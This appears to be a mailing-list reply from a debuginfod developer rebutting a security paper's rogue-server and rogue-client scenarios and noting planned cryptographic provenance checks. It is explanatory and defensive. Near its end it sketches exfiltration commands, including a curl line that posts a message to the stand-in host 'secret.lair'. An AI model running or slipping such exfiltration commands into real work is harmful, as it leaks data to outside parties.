Hi - A few days ago, I was pointed to a paper [1] from a security researcher that deals with debuginfod. The first half of the paper is a fine overview of how the system works.
[1] https://www.archcloudlabs.com/projects/debuginfod/ The second half takes a turn toward security concerns. I'd like to address a few points there. "Rogue Server - Sending Arbitrary Data to Clients" This section appears to be belabouring the point already given in the debuginfod man page. Yes, indeed, if your chosen debuginfod server is hypothetically fed bad data or is compromised, you may receive bad data. The paper does not identify any actual vulnerability or means to compromise any operating debuginfod servers. Note that we are in the process of adding a degree of cryptographic assurance of data provenance [2] to debuginfod. This aims to provide protection against accidental or deliberate corruption anywhere between the distribution's build system and the debuginfod client. [2] https://sourceware.org/bugzilla/show_bug.cgi?id=28204 "Rogue Client - Sending Arbitrary Data to Servers" This section posits a situation where you wish to exfiltrate data, and you want to do this by running gdb on binaries with crafted buildids. That gdb would then communicate those crafted buildids to a debuginfod server in your control. This is a fascinating hypothetical, and makes this writer curious about what manner of system offers this kind of privilege to an attacker: % gcc foo.c % export DEBUGINFOD_URLS=https://secret.lair/ % for snippet in $message; do % reverse-engineering-tool a.out $snippet % gdb a.out % done but not something as simple as: % curl -F message=$message https://secret.lair/ - FChE
